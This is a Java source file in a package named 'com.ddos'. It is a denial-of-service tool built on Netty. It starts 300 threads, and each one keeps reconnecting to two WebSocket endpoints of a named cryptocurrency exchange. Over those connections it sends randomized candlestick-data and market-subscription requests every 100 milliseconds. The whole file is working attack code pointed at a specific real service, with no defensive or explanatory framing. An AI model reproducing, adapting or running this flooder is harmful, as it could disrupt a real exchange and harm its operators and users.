package com.ddos;

import io.netty.bootstrap.Bootstrap;
import io.netty.channel.*;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioSocketChannel;
import io.netty.handler.codec.http.DefaultHttpHeaders;
import io.netty.handler.codec.http.HttpClientCodec;
import io.netty.handler.codec.http.HttpHeaders;
import io.netty.handler.codec.http.HttpObjectAggregator;
import io.netty.handler.codec.http.websocketx.*;
import io.netty.handler.logging.LogLevel;
import io.netty.handler.logging.LoggingHandler;
import io.netty.handler.ssl.SslHandler;

import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLEngine;
import java.net.URI;
import java.net.URISyntaxException;
import java.util.Random;
import java.util.concurrent.atomic.AtomicInteger;

/*
 * @author:wx
 * @description:
 * @create:2020-01-14  00:56
 */
public class Client {


    static String []pairs={"BTC_USDT","ETH_USDT","DU_USDT","BCB_USDT","LTC_USDT","BCH_USDT","EOS_USDT","YM_USDT","PI_USDT","GMA_USDT","HFT_USDT","TERA_USDT","XCN_USDT","LDS_USDT","SKR_USDT","PGS_USDT"};
    static String []types={"5m","1m","15m","30m","1h","6h","1d","12h","4h","8h"};
    public static Channel connet(String url) throws URISyntaxException, InterruptedException {
        EventLoopGroup group = new NioEventLoopGroup();
        Bootstrap boot = new Bootstrap();
        boot.option(ChannelOption.SO_KEEPALIVE, true)
                .option(ChannelOption.TCP_NODELAY, true)
                .group(group)
                .handler(new LoggingHandler(LogLevel.INFO))
                .channel(NioSocketChannel.class)
                .handler(new ChannelInitializer<SocketChannel>() {
                    protected void initChannel(SocketChannel socketChannel) throws Exception {
                        ChannelPipeline p = socketChannel.pipeline();
                        SSLEngine sslEngine = SSLContext.getDefault().createSSLEngine();
                        sslEngine.setUseClientMode(true);
                        p.addLast("ssl", new SslHandler(sslEngine));
                        p.addLast(new ChannelHandler[]{new HttpClientCodec(),
                                new HttpObjectAggregator(1024 * 1024 * 1)});
                        p.addLast("hookedHandler", new WebSocketClientHandler());
                    }
                });
        URI websocketURI = new URI(url);

//        URI websocketURI = new URI("wss://bitcola.pro/webSocket/exchange");
        HttpHeaders httpHeaders = new DefaultHttpHeaders();
        //进行握手
        WebSocketClientHandshaker handshaker = WebSocketClientHandshakerFactory.newHandshaker(websocketURI, WebSocketVersion.V13, (String) null, true, httpHeaders);
        System.out.println("connect");
        final Channel channel = boot.connect(websocketURI.getHost(), 443).sync().channel();
        WebSocketClientHandler handler = (WebSocketClientHandler) channel.pipeline().get("hookedHandler");
        handler.setHandshaker(handshaker);
        handshaker.handshake(channel);
        //阻塞等待是否握手成功
        handler.handshakeFuture().sync();


        return channel;

    }

    private static int  send1(Channel channel) {
        AtomicInteger integer
                =new AtomicInteger(1);
        while (integer.get()>0) {
            Random random=new Random();
            int len= random.nextInt(1600);

            String pair=pairs[random.nextInt(pairs.length)];
            String type=types[random.nextInt(types.length)];

            String c=String.format("{\"req\":\"kline\",\"id\":\"%s\",\"param\":{\"pair\":\"%s\",\"type\":\"%s\",\"limit\":%s}}",pair,pair,type,len);
            String c2=String.format("{\"subscribes\":[{\"topic\":\"MARKET\"},{\"pair\":\"%s\",\"topic\":\"LAST\"},{\"pair\":\"%s\",\"topic\":\"DEPTH\"},{\"pair\":\"%s\",\"topic\":\"KLINE_%s\"},{\"pair\":\"%s\",\"topic\":\"TICKER\"}],\"topic\":\"SUB\"}",pair,pair,pair,type,pair
            );

            TextWebSocketFrame frame = new TextWebSocketFrame(c);

            channel.writeAndFlush(frame).addListener(new ChannelFutureListener() {
                public void operationComplete(ChannelFuture channelFuture)  {
                    if (channelFuture.isSuccess()) {
//                        System.out.println("text send success");
                    } else {
                        System.out.println("text send failed  " + channelFuture.cause().getMessage());
                        integer.set(0);
                        channel.close();
                    }
                }
            });

            try {
                Thread.sleep(100);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
        return 0;
    }
    private static int  send2(Channel channel) {
        AtomicInteger integer
                =new AtomicInteger(1);
        while (integer.get()>0) {
            Random random=new Random();
            int len= random.nextInt(1600);

            String pair=pairs[random.nextInt(pairs.length)];
            String type=types[random.nextInt(types.length)];

            String c=String.format("{\"req\":\"kline\",\"id\":\"%s\",\"param\":{\"pair\":\"%s\",\"type\":\"%s\",\"limit\":%s}}",pair,pair,type,len);
            String c2=String.format("{\"subscribes\":[{\"topic\":\"MARKET\"},{\"pair\":\"%s\",\"topic\":\"LAST\"},{\"pair\":\"%s\",\"topic\":\"DEPTH\"},{\"pair\":\"%s\",\"topic\":\"KLINE_%s\"},{\"pair\":\"%s\",\"topic\":\"TICKER\"}],\"topic\":\"SUB\"}",pair,pair,pair,type,pair
            );

            TextWebSocketFrame frame = new TextWebSocketFrame(c2);


            channel.writeAndFlush(frame).addListener(new ChannelFutureListener() {
                public void operationComplete(ChannelFuture channelFuture)  {
                    if (channelFuture.isSuccess()) {
//                        System.out.println("text send success");
                    } else {
                        System.out.println("text send failed  " + channelFuture.cause().getMessage());
                        integer.set(0);
                        channel.close();
                    }
                }
            });

            try {
                Thread.sleep(100);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
        return 0;
    }


    public static void main(String[] args)  {

        for (int i = 0; i <300 ; i++) {
            Thread text = new Thread(new Runnable() {

                final Object lock=new Object();
                @Override
                public void run() {

                    while (true) {

                            Channel channel1 = null;
                            Channel channel2 = null;

                            try {
                               channel1 = connet("wss://bitcola.cc/webSocket/exchange");
                                channel2 = connet("wss://bitcola.cc/webSocket/v3");

                            } catch (Exception e) {
                                e.printStackTrace();
                                lock.notifyAll();
                            }



                            int r=send1(channel1);
                            send2(channel2);




                    }


                }
            });
            text.start();
        }



    }
}

